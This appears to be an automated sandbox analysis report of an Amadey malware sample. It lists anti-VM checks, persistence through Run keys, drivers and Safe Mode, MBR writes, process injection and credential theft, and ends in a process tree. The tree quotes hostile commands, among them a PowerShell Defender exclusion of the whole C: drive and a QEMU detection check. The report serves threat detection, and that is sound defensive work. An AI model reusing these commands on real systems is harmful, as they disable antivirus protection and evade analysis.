amadey | ab8b903ee062c93347eb738d00d0dbf707cdbbb8d26cf4dac7691ccbf8a8aff2

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	random.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe

Blocklisted process makes network request 7 IoCs

flow	pid	Process
116	6808	powershell.exe
118	6808	powershell.exe
122	7792	powershell.exe
130	6808	powershell.exe
143	2052	powershell.exe
149	7792	powershell.exe
160	5984	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2540	powershell.exe
7792	powershell.exe
2052	powershell.exe
5984	powershell.exe
6596	powershell.exe
6808	powershell.exe
3528	powershell.exe

Downloads MZ/PE file 4 IoCs

flow	pid	Process
30	4752	rapes.exe
37	4752	rapes.exe
52	4752	rapes.exe
36	1504	svchost.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File created	C:\Windows\System32\Drivers\b296ad91.sys	4dcb6d7b.exe
File created	C:\Windows\System32\Drivers\klupd_b296ad91a_arkmon.sys	4dcb6d7b.exe
File created	C:\Windows\System32\Drivers\klupd_b296ad91a_klbg.sys	4dcb6d7b.exe

Sets service image path in registry 2 TTPs 7 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\klupd_b296ad91a_mark\ImagePath = "System32\\Drivers\\klupd_b296ad91a_mark.sys"	4dcb6d7b.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\klupd_b296ad91a_arkmon_7C924DD4\ImagePath = "\\??\\C:\\KVRT2020_Data\\Temp\\7C924DD4D20055C80007791130E2D03F\\klupd_b296ad91a_arkmon.sys"	4dcb6d7b.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\A21cu_3532\ImagePath = "\\??\\C:\\Windows\\Temp\\A21cu_3532.sys"	upnpcont.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\b296ad91\ImagePath = "System32\\Drivers\\b296ad91.sys"	4dcb6d7b.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\klupd_b296ad91a_arkmon\ImagePath = "System32\\Drivers\\klupd_b296ad91a_arkmon.sys"	4dcb6d7b.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\klupd_b296ad91a_klbg\ImagePath = "System32\\Drivers\\klupd_b296ad91a_klbg.sys"	4dcb6d7b.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\klupd_b296ad91a_klark\ImagePath = "System32\\Drivers\\klupd_b296ad91a_klark.sys"	4dcb6d7b.exe

Checks BIOS information in registry 2 TTPs 10 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	random.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	random.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Control Panel\International\Geo\Nation	random.exe
Key value queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Control Panel\International\Geo\Nation	rapes.exe
Key value queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Control Panel\International\Geo\Nation	cmd.exe

Deletes itself 1 IoCs

pid	Process
1996	tzutil.exe

Executes dropped EXE 12 IoCs

pid	Process
4752	rapes.exe
5812	laf6w_001.exe
2100	4c7c16f8a2.exe
316	rapes.exe
3532	upnpcont.exe
1996	tzutil.exe
6396	eBOjg2u.exe
7216	eBOjg2u.exe
10884	73aa15d8.exe
11704	4dcb6d7b.exe
6644	rapes.exe
8268	rapes.exe

Identifies Wine through registry keys 2 TTPs 5 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Wine	random.exe
Key opened	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Software\Wine	rapes.exe

Impair Defenses: Safe Mode Boot 1 TTPs 2 IoCs

defense_evasion

Safe Mode Boot

T1562.009

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\b296ad91.sys	4dcb6d7b.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\b296ad91.sys\ = "Driver"	4dcb6d7b.exe

Loads dropped DLL 25 IoCs

pid	Process
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{57F06FF0-B2D5-45F3-BFEE-970F76E38EFD} = "C:\\ProgramData\\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\\aitstatic.exe {7621FABD-8E1C-4682-ACCD-F95D288F67B3}"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{57F06FF0-B2D5-45F3-BFEE-970F76E38EFD} = "C:\\ProgramData\\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\\aitstatic.exe {7621FABD-8E1C-4682-ACCD-F95D288F67B3}"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	eBOjg2u.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	eBOjg2u.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\d7f06ba9-cadb-4be1-8361-a1bd5fccbdd5 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\{4d4db971-2851-4886-91c9-174cd6f0979d}\\d7f06ba9-cadb-4be1-8361-a1bd5fccbdd5.cmd\""	4dcb6d7b.exe

Checks for any installed AV software in registry 1 TTPs 1 IoCs

Security Software Discovery

T1518.001

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\KasperskyLab	4dcb6d7b.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\F:	4dcb6d7b.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
111	bitbucket.org
116	bitbucket.org

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	4dcb6d7b.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs

pid	Process
4164	random.exe
4752	rapes.exe
316	rapes.exe
6644	rapes.exe
8268	rapes.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 2100 set thread context of 1844	2100	4c7c16f8a2.exe	104
PID 6808 set thread context of 8744	6808	powershell.exe	133
PID 7792 set thread context of 9836	7792	powershell.exe	137

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

persistence privilege_escalation

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	4dcb6d7b.exe
File opened (read-only)	\??\VBoxMiniRdrDN	73aa15d8.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\rapes.job	random.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 2 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	4dcb6d7b.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	4dcb6d7b.exe

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	73aa15d8.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4dcb6d7b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	random.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	laf6w_001.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 62 IoCs

pid	Process
4164	random.exe
4164	random.exe
4752	rapes.exe
4752	rapes.exe
2540	powershell.exe
2540	powershell.exe
2540	powershell.exe
1844	MSBuild.exe
1844	MSBuild.exe
1844	MSBuild.exe
1844	MSBuild.exe
316	rapes.exe
316	rapes.exe
6596	powershell.exe
6596	powershell.exe
6596	powershell.exe
6808	powershell.exe
6808	powershell.exe
6808	powershell.exe
1272	powershell.exe
1272	powershell.exe
1272	powershell.exe
3528	powershell.exe
3528	powershell.exe
3528	powershell.exe
7792	powershell.exe
7792	powershell.exe
7792	powershell.exe
8744	RegAsm.exe
8744	RegAsm.exe
8744	RegAsm.exe
8744	RegAsm.exe
2052	powershell.exe
2052	powershell.exe
2052	powershell.exe
9836	RegAsm.exe
9836	RegAsm.exe
9836	RegAsm.exe
9836	RegAsm.exe
5984	powershell.exe
5984	powershell.exe
5984	powershell.exe
6644	rapes.exe
6644	rapes.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
8268	rapes.exe
8268	rapes.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
3532	upnpcont.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe
11704	4dcb6d7b.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
5812	laf6w_001.exe
5812	laf6w_001.exe
5812	laf6w_001.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2540	powershell.exe
Token: SeIncreaseQuotaPrivilege	6516	WMIC.exe
Token: SeSecurityPrivilege	6516	WMIC.exe
Token: SeTakeOwnershipPrivilege	6516	WMIC.exe
Token: SeLoadDriverPrivilege	6516	WMIC.exe
Token: SeSystemProfilePrivilege	6516	WMIC.exe
Token: SeSystemtimePrivilege	6516	WMIC.exe
Token: SeProfSingleProcessPrivilege	6516	WMIC.exe
Token: SeIncBasePriorityPrivilege	6516	WMIC.exe
Token: SeCreatePagefilePrivilege	6516	WMIC.exe
Token: SeBackupPrivilege	6516	WMIC.exe
Token: SeRestorePrivilege	6516	WMIC.exe
Token: SeShutdownPrivilege	6516	WMIC.exe
Token: SeDebugPrivilege	6516	WMIC.exe
Token: SeSystemEnvironmentPrivilege	6516	WMIC.exe
Token: SeRemoteShutdownPrivilege	6516	WMIC.exe
Token: SeUndockPrivilege	6516	WMIC.exe
Token: SeManageVolumePrivilege	6516	WMIC.exe
Token: 33	6516	WMIC.exe
Token: 34	6516	WMIC.exe
Token: 35	6516	WMIC.exe
Token: 36	6516	WMIC.exe
Token: SeIncreaseQuotaPrivilege	6516	WMIC.exe
Token: SeSecurityPrivilege	6516	WMIC.exe
Token: SeTakeOwnershipPrivilege	6516	WMIC.exe
Token: SeLoadDriverPrivilege	6516	WMIC.exe
Token: SeSystemProfilePrivilege	6516	WMIC.exe
Token: SeSystemtimePrivilege	6516	WMIC.exe
Token: SeProfSingleProcessPrivilege	6516	WMIC.exe
Token: SeIncBasePriorityPrivilege	6516	WMIC.exe
Token: SeCreatePagefilePrivilege	6516	WMIC.exe
Token: SeBackupPrivilege	6516	WMIC.exe
Token: SeRestorePrivilege	6516	WMIC.exe
Token: SeShutdownPrivilege	6516	WMIC.exe
Token: SeDebugPrivilege	6516	WMIC.exe
Token: SeSystemEnvironmentPrivilege	6516	WMIC.exe
Token: SeRemoteShutdownPrivilege	6516	WMIC.exe
Token: SeUndockPrivilege	6516	WMIC.exe
Token: SeManageVolumePrivilege	6516	WMIC.exe
Token: 33	6516	WMIC.exe
Token: 34	6516	WMIC.exe
Token: 35	6516	WMIC.exe
Token: 36	6516	WMIC.exe
Token: SeDebugPrivilege	6596	powershell.exe
Token: SeDebugPrivilege	6808	powershell.exe
Token: SeLoadDriverPrivilege	3532	upnpcont.exe
Token: SeDebugPrivilege	1272	powershell.exe
Token: SeIncreaseQuotaPrivilege	7412	WMIC.exe
Token: SeSecurityPrivilege	7412	WMIC.exe
Token: SeTakeOwnershipPrivilege	7412	WMIC.exe
Token: SeLoadDriverPrivilege	7412	WMIC.exe
Token: SeSystemProfilePrivilege	7412	WMIC.exe
Token: SeSystemtimePrivilege	7412	WMIC.exe
Token: SeProfSingleProcessPrivilege	7412	WMIC.exe
Token: SeIncBasePriorityPrivilege	7412	WMIC.exe
Token: SeCreatePagefilePrivilege	7412	WMIC.exe
Token: SeBackupPrivilege	7412	WMIC.exe
Token: SeRestorePrivilege	7412	WMIC.exe
Token: SeShutdownPrivilege	7412	WMIC.exe
Token: SeDebugPrivilege	7412	WMIC.exe
Token: SeSystemEnvironmentPrivilege	7412	WMIC.exe
Token: SeRemoteShutdownPrivilege	7412	WMIC.exe
Token: SeUndockPrivilege	7412	WMIC.exe
Token: SeManageVolumePrivilege	7412	WMIC.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4164	random.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4164 wrote to memory of 4752	4164	random.exe	89
PID 4164 wrote to memory of 4752	4164	random.exe	89
PID 4164 wrote to memory of 4752	4164	random.exe	89
PID 4752 wrote to memory of 5812	4752	rapes.exe	97
PID 4752 wrote to memory of 5812	4752	rapes.exe	97
PID 4752 wrote to memory of 5812	4752	rapes.exe	97
PID 5812 wrote to memory of 1968	5812	laf6w_001.exe	98
PID 5812 wrote to memory of 1968	5812	laf6w_001.exe	98
PID 5812 wrote to memory of 1504	5812	laf6w_001.exe	99
PID 5812 wrote to memory of 1504	5812	laf6w_001.exe	99
PID 1968 wrote to memory of 2540	1968	cmd.exe	101
PID 1968 wrote to memory of 2540	1968	cmd.exe	101
PID 4752 wrote to memory of 2100	4752	rapes.exe	102
PID 4752 wrote to memory of 2100	4752	rapes.exe	102
PID 2100 wrote to memory of 1844	2100	4c7c16f8a2.exe	104
PID 2100 wrote to memory of 1844	2100	4c7c16f8a2.exe	104
PID 2100 wrote to memory of 1844	2100	4c7c16f8a2.exe	104
PID 2100 wrote to memory of 1844	2100	4c7c16f8a2.exe	104
PID 2100 wrote to memory of 1844	2100	4c7c16f8a2.exe	104
PID 2100 wrote to memory of 1844	2100	4c7c16f8a2.exe	104
PID 2100 wrote to memory of 1844	2100	4c7c16f8a2.exe	104
PID 2100 wrote to memory of 1844	2100	4c7c16f8a2.exe	104
PID 2100 wrote to memory of 1844	2100	4c7c16f8a2.exe	104
PID 1504 wrote to memory of 3532	1504	svchost.exe	107
PID 1504 wrote to memory of 3532	1504	svchost.exe	107
PID 1504 wrote to memory of 1996	1504	svchost.exe	108
PID 1504 wrote to memory of 1996	1504	svchost.exe	108
PID 4752 wrote to memory of 6396	4752	rapes.exe	110
PID 4752 wrote to memory of 6396	4752	rapes.exe	110
PID 6396 wrote to memory of 6452	6396	eBOjg2u.exe	111
PID 6396 wrote to memory of 6452	6396	eBOjg2u.exe	111
PID 6452 wrote to memory of 6516	6452	cmd.exe	113
PID 6452 wrote to memory of 6516	6452	cmd.exe	113
PID 6452 wrote to memory of 6524	6452	cmd.exe	114
PID 6452 wrote to memory of 6524	6452	cmd.exe	114
PID 6452 wrote to memory of 6596	6452	cmd.exe	115
PID 6452 wrote to memory of 6596	6452	cmd.exe	115
PID 6596 wrote to memory of 6808	6596	powershell.exe	116
PID 6596 wrote to memory of 6808	6596	powershell.exe	116
PID 3532 wrote to memory of 1272	3532	upnpcont.exe	118
PID 3532 wrote to memory of 1272	3532	upnpcont.exe	118
PID 4752 wrote to memory of 7216	4752	rapes.exe	120
PID 4752 wrote to memory of 7216	4752	rapes.exe	120
PID 7216 wrote to memory of 4664	7216	eBOjg2u.exe	121
PID 7216 wrote to memory of 4664	7216	eBOjg2u.exe	121
PID 4664 wrote to memory of 7412	4664	cmd.exe	123
PID 4664 wrote to memory of 7412	4664	cmd.exe	123
PID 4664 wrote to memory of 7428	4664	cmd.exe	124
PID 4664 wrote to memory of 7428	4664	cmd.exe	124
PID 4664 wrote to memory of 3528	4664	cmd.exe	125
PID 4664 wrote to memory of 3528	4664	cmd.exe	125
PID 3528 wrote to memory of 7792	3528	powershell.exe	126
PID 3528 wrote to memory of 7792	3528	powershell.exe	126
PID 6808 wrote to memory of 8744	6808	powershell.exe	133
PID 6808 wrote to memory of 8744	6808	powershell.exe	133
PID 6808 wrote to memory of 8744	6808	powershell.exe	133
PID 6808 wrote to memory of 8744	6808	powershell.exe	133
PID 6808 wrote to memory of 8744	6808	powershell.exe	133
PID 6808 wrote to memory of 8744	6808	powershell.exe	133
PID 6808 wrote to memory of 8744	6808	powershell.exe	133
PID 6808 wrote to memory of 8744	6808	powershell.exe	133
PID 6808 wrote to memory of 8744	6808	powershell.exe	133
PID 6452 wrote to memory of 9020	6452	cmd.exe	134
PID 6452 wrote to memory of 9020	6452	cmd.exe	134

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\random.exe
"C:\Users\Admin\AppData\Local\Temp\random.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4164
- C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
  "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Downloads MZ/PE file
  - Checks BIOS information in registry
  - Checks computer location settings
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4752
- - C:\Users\Admin\AppData\Local\Temp\10299570101\laf6w_001.exe
    "C:\Users\Admin\AppData\Local\Temp\10299570101\laf6w_001.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:5812
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:'
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1968
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Add-MpPreference -ExclusionPath 'C:'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2540
  - - C:\Windows\system32\svchost.exe
      "C:\Windows\system32\svchost.exe"
      4⤵
      Downloads MZ/PE file
      Adds Run key to start application
      Suspicious use of WriteProcessMemory
      PID:1504
    - - C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\upnpcont.exe
        
        "C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\upnpcont.exe" ""
        5⤵
        Sets service image path in registry
        Executes dropped EXE
        Suspicious behavior: LoadsDriver
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3532
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Remove-MpPreference -ExclusionPath C:\
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1272
    - - C:\Users\Admin\AppData\Local\Temp\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe
        
        "C:\Users\Admin\AppData\Local\Temp\\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe" ""
        5⤵
        Deletes itself
        Executes dropped EXE
        
        PID:1996
      - C:\Users\Admin\AppData\Local\Temp\{d690cdd4-fe56-4b62-8948-54d5eb0f651c}\73aa15d8.exe
        
        "C:\Users\Admin\AppData\Local\Temp\{d690cdd4-fe56-4b62-8948-54d5eb0f651c}\73aa15d8.exe" -accepteula -adinsilent -silent -processlevel 2 -postboot
        6⤵
        Executes dropped EXE
        Checks for VirtualBox DLLs, possible anti-VM trick
        System Location Discovery: System Language Discovery
        
        PID:10884
        
        C:\Users\Admin\AppData\Local\Temp\{737dd80c-8f6e-4116-9469-cff6afca99e7}\4dcb6d7b.exe
        
        C:/Users/Admin/AppData/Local/Temp/{737dd80c-8f6e-4116-9469-cff6afca99e7}/\4dcb6d7b.exe -accepteula -adinsilent -silent -processlevel 2 -postboot
        7⤵
        Drops file in Drivers directory
        Sets service image path in registry
        Executes dropped EXE
        Impair Defenses: Safe Mode Boot
        Loads dropped DLL
        Adds Run key to start application
        Checks for any installed AV software in registry
        Enumerates connected drives
        Writes to the Master Boot Record (MBR)
        Checks for VirtualBox DLLs, possible anti-VM trick
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: LoadsDriver
        
        PID:11704
- - C:\Users\Admin\AppData\Local\Temp\10299580101\4c7c16f8a2.exe
    "C:\Users\Admin\AppData\Local\Temp\10299580101\4c7c16f8a2.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:2100
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:1844
- - C:\Users\Admin\AppData\Local\Temp\10299590101\eBOjg2u.exe
    "C:\Users\Admin\AppData\Local\Temp\10299590101\eBOjg2u.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:6396
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c 1.bat && 2.js
      4⤵
      Checks computer location settings
      Modifies registry class
      Suspicious use of WriteProcessMemory
      PID:6452
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic cpu get name
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:6516
    - - C:\Windows\system32\find.exe
        
        find "QEMU"
        5⤵
        
        PID:6524
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
